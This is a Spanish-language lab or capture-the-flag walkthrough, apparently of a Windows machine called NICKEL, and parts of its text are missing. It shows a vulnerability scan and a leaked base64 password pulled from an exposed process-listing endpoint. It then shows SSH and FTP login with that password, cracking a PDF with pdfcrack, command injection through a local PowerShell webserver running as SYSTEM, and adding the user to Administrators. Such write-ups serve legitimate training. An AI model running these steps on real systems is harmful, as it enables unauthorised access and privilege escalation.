Not Implemented
| References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299 |_ http://www.exploit-db.com/exploits/1244/ |_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug) |_http-title: Site doesn't have a title. |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: WAP|phone Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone Network Distance: 3 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-vuln-cve2009-3103: | VULNERABLE: | SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) | State: VULNERABLE | IDs: CVE:CVE-2009-3103 | Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, | Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a | denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE | PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, | aka "SMBv2 Negotiation Vulnerability." | | Disclosure date: 2009-09-08 | References: | http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 |_smb-vuln-ms10-061: SMB: Couldn't find a NetBIOS name that works for the server. Sorry! |_smb-vuln-ms10-054: false |_smb2-time: ERROR: Script execution failed (use -d to debug) |_samba-vuln-cve-2012-1182: SMB: Couldn't find a NetBIOS name that works for the server. Sorry! |_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry! ``` ### Análisis del escáner Se obtienen distintas URLs y servicios abiertos, realizando una enumeración básica de cada uno, se obtiene un endpoint que resulta interesante. ``` http://169.254.109.39:33333/list-running-procs ``` Modificando la petición con la IP de la máquina víctima y para que la petición se realice con el método HTTP POST en vez de GET, se obtiene lo siguiente: ``` POST /list-running-procs HTTP/1.1 Host: 192.168.155.99:33333 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 0 ``` ``` name : System Idle Process commandline : name : System commandline : name : Registry commandline : name : smss.exe commandline : name : csrss.exe commandline : name : wininit.exe commandline : name : csrss.exe commandline : name : winlogon.exe commandline : winlogon.exe name : services.exe commandline : name : lsass.exe commandline : C:\Windows\system32\lsass.exe name : fontdrvhost.exe commandline : "fontdrvhost.exe" name : fontdrvhost.exe commandline : "fontdrvhost.exe" name : dwm.exe commandline : "dwm.exe" name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws80.ps1 name : Memory Compression commandline : name : cmd.exe commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws8089.ps1 name : powershell.exe commandline : powershell.exe -nop -ep bypass C:\windows\system32\ws33333.ps1 name : spoolsv.exe commandline : C:\Windows\System32\spoolsv.exe name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 name : FileZilla Server.exe commandline : "C:\Program Files (x86)\FileZilla Server\FileZilla Server.exe" name : sshd.exe commandline : "C:\Program Files\OpenSSH\OpenSSH-Win64\sshd.exe" name : VGAuthService.exe commandline : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" name : vmtoolsd.exe commandline : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" name : dllhost.exe commandline : C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235} name : WmiPrvSE.exe commandline : C:\Windows\system32\wbem\wmiprvse.exe name : LogonUI.exe commandline : "LogonUI.exe" /flags:0x2 /state0:0xa392c855 /state1:0x41c64e6d name : msdtc.exe commandline : C:\Windows\System32\msdtc.exe name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 name : WmiPrvSE.exe commandline : C:\Windows\system32\wbem\wmiprvse.exe name : SgrmBroker.exe commandline : name : SearchIndexer.exe commandline : C:\Windows\system32\SearchIndexer.exe /Embedding name : WmiApSrv.exe commandline : C:\Windows\system32\wbem\WmiApSrv.exe name : CompatTelRunner.exe commandline : C:\Windows\system32\compattelrunner.exe name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 name : CompatTelRunner.exe commandline : C:\Windows\system32\compattelrunner.exe -maintenance name : conhost.exe commandline : \??\C:\Windows\system32\conhost.exe 0x4 ``` Entre la información, obtenemos un nombre de usuario y contraseña, que por sus características, se deduce que está codificada en base64. ``` name : cmd.exe commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh ``` Decodificamos la cadena y obtenemos la contraseña de `ariah`: ``` echo -n Tm93aXNlU2xvb3BUaGVvcnkxMzkK | base64 –decode ``` ``` NowiseSloopTheory139 ``` ## Explotación ### Acceso directo al sistema Una vez se han obtenido credenciales válidas en el servidor, se prueba a acceder con dichas credenciales en los servicios disponibles, entre ellos `ssh` y `ftp`: ``` ssh ariah@192.168.155.99 ``` ``` ftp ftp://ariah:NowiseSloopTheory139@192.168.155.99 ``` ### Post-enumeración Se realiza una enumeración básica del sistema y se obtiene que existe un fichero llamado `Infrastructure.pdf` en el servicio FTP. Para descargarlo vía SSH: ``` scp ariah@192.168.155.99:C:/ftp/Infrastructure.pdf . ``` Al intentar abrir el fichero, se observa que tiene contraseña. Por lo que realizaremos un ataque por diccionario con `pdfcrack` utilizando el diccionario de `rockyou.txt`: ``` pdfcrack -f Infrastructure.pdf -w /usr/share/wordlists/rockyou.txt ```
nt authority\system``` {% endtab %} {% tab title="Powershell" %} Ejecutamos lo siguiente para cambiar a `powershell`: ``` ariah@NICKEL C:\>powershell.exe ``` Se realiza la petición y se obtiene el contenido de la respuesta ``` $response = Invoke-WebRequest 'http://localhost/?whoami' -UseBasicParsing $response.RawContent ``` Se obtiene la siguiente respuesta: ``` PS C:\ftp> $response = Invoke-WebRequest 'http://localhost/?whoami' -UseBasicParsing PS C:\ftp> $response.RawContent HTTP/1.1 200 OK Content-Length: 118 Date: Sun, 26 Feb 2023 21:12:33 GMT Last-Modified: Sun, 26 Feb 2023 13:12:33 GMT Server: Powershell Webserver/1.2 on Microsoft-HTTPAPI/2.0 dev-api started at 2020-10-20T10:38:24
nt authority\system``` {% endtab %} {% endtabs %} ## Escalada de privilegios Se añade a `ariah` al grupo de administradores desde el endpoint: ``` net localgroup Administrators ariah /add ``` Se codifica la cadena para enviarla desde la URL:
The command completed successfully.``` Se comprueba que el usuario se ha añadido en el grupo de administradores: ``` PS C:\Users\Administrator> net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator ariah The command completed successfully. ``` Y ya se puede leer la flag que se encuentra en el escritorio del administrador: ``` type C:\Users\Administrator\Desktop\proof.txt ```
